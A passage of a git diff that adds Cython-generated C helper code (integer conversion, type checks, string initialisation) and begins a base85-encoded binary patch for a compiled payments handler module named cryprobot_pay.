(__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..b95c534d8de584f5ab7742f310b8fa853dffa611 GIT binary patch literal 1255992 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 